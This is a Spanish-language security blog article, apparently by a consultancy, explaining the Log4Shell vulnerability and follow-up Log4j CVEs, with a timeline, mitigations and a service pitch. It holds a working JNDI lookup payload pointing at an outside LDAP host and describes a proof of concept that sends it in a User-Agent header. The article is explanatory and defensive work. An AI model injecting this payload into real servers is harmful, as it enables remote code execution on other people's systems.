La vulnerabilidad del año: Log4shell

Estas últimas semanas han sido muy estresantes para los administradores de sistemas, CISOs, analistas de seguridad e informáticos en general, los cuales tengan entre otras responsabilidades el asegurar la infraestructura y sistemas de sus organizaciones.

El motivo ha sido la salida a la luz de una vulnerabilidad de día zero denominada log4shell. Muy pocas vulnerabilidades han tenido tantísima repercusión en todos los últimos años y han afectado a tantas organizaciones.

En el presente artículo se detalla la evolución que ha tenido en el tiempo, la explicación de cómo funciona, una prueba de concepto y una serie de mitigaciones para defendernos de ella.

Cronología

La vulnerabilidad del año: Log4shell

El 9 de diciembre fue publicada en Twitter la vulnerabilidad (CVE-2021-44228), conocida como log4shell. Dicha vulnerabilidad afecta a la librería de logging de Apache Log4J en la versión 2.14.1 o inferior (excluyendo a las versiones 1.x).

A pesar de no haberse oficializado hasta dicha fecha, este fallo de seguridad fue originalmente reportado a Apache el 24 de noviembre por el equipo de seguridad de Alibaba, una empresa líder mundial en computación en la nube e inteligencia artificial, que brinda servicios en más de 200 países y regiones.

Debido a la facilidad de explotación (no se requieren de permisos elevados ni recursos específicos), y el alto impacto de esta (la consecuencia inmediata es la posibilidad de ejecución remota de código), la vulnerabilidad es calificada como Crítica recibiendo una puntuación de 10.0 como CVSS, es decir, el máximo valor posible.

Cualquier servicio de Java que utilice la versión de esta librería como sistema de logging, está afectado. Si se tiene en cuenta que existen más de 3 billones de dispositivos que utilizan Java, el número de posibles afectados es inmenso, incluidas empresas gigantes de Internet como Cisco, Citrix, VMware, Steam, entre otras.

Para dar solución a este problema, con fecha 10 de diciembre, Apache publica la versión 2.15.0 de su librería log4j.

Sin embargo, al cabo de unos días, se volvía a descubrir otra nueva vulnerabilidad que afectaba a esta nueva versión. En este caso, se trataba de CVE-2021-45046 que también permitía la ejecución remota de comandos.  En este caso, aunque también fue considerada como crítica, la puntuación CVSS asignada fue de 9.0.

Para poder solucionar esta nueva vulnerabilidad, con fecha 13 de diciembre se publicó desde Apache la versión 2.16.0 de la librería log4j.

Con fecha 18 de diciembre se descubre una tercera vulnerabilidad (CVE-2021-45105), esta vez de denegación de servicio. En este caso se ha considerado de riesgo medio asignándole una puntuación CVSS de 5,9. A pesar de no suponer un riesgo tan elevado, se insta a las organizaciones a realizar una nueva actualización de la librería afectada, en este acaso a la versión 2.17.0.

Y por último, el 27 de diciembre, se publicó una nueva versión 2.17.1 para solucionar otra vulnerabilidad descubierta que afecta a esta última versión. Esta es conocida como CVE-2021-44832, y teniendo un menor impacto que las anteriores, también permite la ejecución remota de código.

Explicación: ¿En qué consisten las vulnerabilidades identificadas?

Desde el punto de vista más puramente técnico, las vulnerabilidades identificadas permiten tanto la ejecución de código remoto como la realización de denegaciones de servicio, pero ¿Cómo es posible permitir esto?:

CVE-2021-44228 – log4shell

La vulnerabilidad se produce por la forma en que la función JNDI (Java Naming and Directory Interface), traduce el significado de una variable, por el contenido de estas cuando se realiza una llamada.

Pongamos un ejemplo sobre ello.  La función antes indicada, es utilizada por las aplicaciones para escribir contenido en los registro de log.  Cuando se escribe una entrada en el log mediante la utilización dicha función, se incluye en la llamada a la misma un valor o una información que sería la que realmente se quiere almacenar como log.

¿Cómo podría un atacante aprovechar esto y por tanto la vulnerabilidad? Podría incluir contenido con intencionalidad maliciosa en esa llamada. En este caso, la conexión contra el servidor que se indica en la petición. Por ejemplo:

${jndi:ldap://1.1.1.1:1389}

La aplicación se conectaría al servidor LDAP alojado en 1.1.1.1 al puerto 1389, haciendo vulnerable a la aplicación.

CVE-2021-45046

Se detectó que la corrección de la vulnerabilidad CVE-2021-44228 en Apache Log4j 2.15.0 estaba incompleta en ciertas configuraciones no predeterminadas.

La búsqueda de contexto habilitaba las búsquedas JNDI (al igual que en la vulnerabilidad anterior) en diversas configuraciones. Por ejemplo, en el contexto de la versión de la API:

${ctx:apiversion} – %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L – %m{nolookups}%n

En la parte resaltada, sería donde se podría ejecutar el código porque se encuentra habilitada la resolución.

CVE-2021-45105

Las versiones de Apache Log4j2 2.0-alpha1 a 2.16.0, excluyendo 2.12.3, no se encuentran protegidas de la recursividad incontrolada de búsquedas. Los atacantes pueden crear datos de entrada maliciosos que contienen una búsqueda recursiva, dando como resultado una denegación de servicio.

CVE-2021-44832

Las versiones de Apache Log4j2 2.0-beta7 a 2.17.0 son vulnerables a un ataque de ejecución remota de código, donde un atacante con permiso para modificar el archivo de configuración de registro puede construir una configuración maliciosa que permite la ejecución de código remoto. Este problema se soluciona en la versión 2.17.1 de Log4j.

Prueba de concepto (POC): Un ejemplo de cómo realizar una explotación.

El equipo de hacking ético de Seresco, ha realizado diversos estudios y pruebas de concepto para investigar las formas de explotación de las vulnerabilidades publicadas. Se incluye a continuación una prueba de concepto para ejemplificar un escenario de ataque de la vulnerabilidad log4shell (CVE-2021-44228).

Supongamos que se dispone de una aplicación web desarrollada en Java que utiliza como sistema de logging la librería de log4j con una versión vulnerable. Supongamos también que esta se encuentra publicad en el puerto 8080:

Al estar accesible desde el exterior, un atacante podría incluir peticiones maliciosas en las cabeceras o en el cuerpo de las llamadas al servicio, y aprovecharse de la vulnerabilidad para ejecutar comandos remotos en el servidor.

Para poder llevar a cabo su ataque, el actor malicioso, realizaría la configuración de un servidor LDAP donde estarán las clases de Java que ejecutarían el código. Para el ejemplo, simplemente se pondrá a la escucha por el puerto 1389 para verificar la respuesta del servidor:

Una vez configurado esto, solamente restaría enviar las peticiones con las cadenas JNDI. Por ejemplo, modificando el valor malicioso en la cabecera User-Agent y realizando una petición al servidor:

Se puede observar cómo se recibe respuesta por parte del servidor al puerto 1389 que estaba a la escucha:

Aunque en este caso no se realiza ninguna acción maliciosa, un atacante podría ejecutar cualquier comando remoto en la máquina configurando las clases Java en su servidor LDAP.

Y ahora, ¿Cómo sabemos si estamos afectados?

Se disponen de múltiples herramientas que permiten detectar si un sistema es vulnerable.  Por un lado, es posible la utilización de recursos y testers gratuitos, pero también los escáneres lideres del mercado han incluido scripts de revisión en sus bases de datos de análisis.

Por otro lado, también es posible la realización de una revisión local manual en cada sistema, mediante una comprobación de las librerías existentes en los mismos.

Mitigaciones

Apache ha ido liberando nuevas versiones para solucionar todas las vulnerabilidades, por lo que la mejor recomendación sería parchear los sistemas y disponer de la última versión de la librería.

En el caso de que esto no sea posible, habrá que establecer un workaround o plan alternativo que permita mantenernos protegidos.

Algunas veces los propios fabricantes de software indican como establecer dichos planes alternativos mediante modificaciones en las configuraciones de sus productos, pero en otras ocasiones es preciso la utilización del parcheado virtual que puedan ofrecer por ejemplo los IPS incluidos en algunos modelos de Firewall, valiéndonos así de esa capacidad de protección desde el perímetro.

Como medida complementaria, el disponer de un servicio de monitorización y respuesta a incidentes que permita identificar un escenario de ataque, tanto cuando las medidas de protección no hayan sido suficientes, como para bloquear cualquier intento de explotación.

Desde este punto de vista de la monitorización, se han publicado un elevado número de IOCs para la detección en diferentes herramientas. En el siguiente enlace se encuentran detallados los incluidos para todas ellas.

De forma adicional, se puede hacer una búsqueda de las palabras claves relacionadas con llamadas a JNDI dentro de los eventos de log de los sistemas.

También se han publicado reglas SIGMA y YARA para detectar el intento de explotaciones log4shell.

¿Qué podemos aportar desde Seresco?

Desde todos los puntos de vista indicados previamente:

  • Detección: Desde el punto de vista de la detección, integrada dentro de la funcionalidad de inteligencia de amenazas, la implementación de reglas de detección (SIGMA y YARA), y el estudio de IOCS que Seresco ofrece de forma íntegra a sus clientes del servicio de monitorización y respuesta a incidentes.
  • Identificación: El equipo de Hacking ético ha desarrollado desde el laboratorio de I+D+I, scripts propios para la detección de esta vulnerabilidad, así como un procedimiento para la realización de la revisión de todo el parque de activos de una organización.
  • Mitigación: En relación con la mitigación, un servicio de consultoría y operación de la seguridad a través del cual se orienta y acompaña a las organizaciones en la aplicación de medidas mitigatorias y resolución de sus vulnerabilidades.

Conclusiones

El descubrimiento de esta vulnerabilidad destaca la gran dependencia existente entre el software moderno utilizado por la inmensa mayoría de organizaciones entre proyectos de código abierto mantenidos por voluntarios que dedican su tiempo libre a desarrollarlos.

Hace cuestionar lo vulnerable que puede llegar a ser una aplicación si una pequeña pieza lo es, o peor aún, si deja de ser actualizada. ¿Qué otras librerías de este estilo son compartidas por muchos, pero mantenidas por pocos?

Por otro lado pone de manifiesto, la necesidad dentro de las organizaciones de diversos mecanismos que permitan un pronta actuación ante estas situaciones, los cuales parten de una detección temprana y un conocimiento experto de los sistemas.

Referencias

[1] INCIBE. https://www.incibe.es/protege-tu-empresa/avisos-seguridad/vulnerabilidad-critica-apache-log4j

[2] CCN-CERT. https://www.ccn-cert.cni.es/seguridad-al-dia/alertas-ccn-cert/11435-ccn-cert-al-09-21-vulnerabilidad-en-apache-log4j-2.html

La mejor solución para prevenir un ataque de Ciberseguridad, es estar preparados.

Artículos relacionados

Cómo prevenir ataques de ciberseguridad en las pymes y pequeñas empresas
Amenazas en la seguridad informática o ciberseguridad
Ciberseguridad - Equipo especializado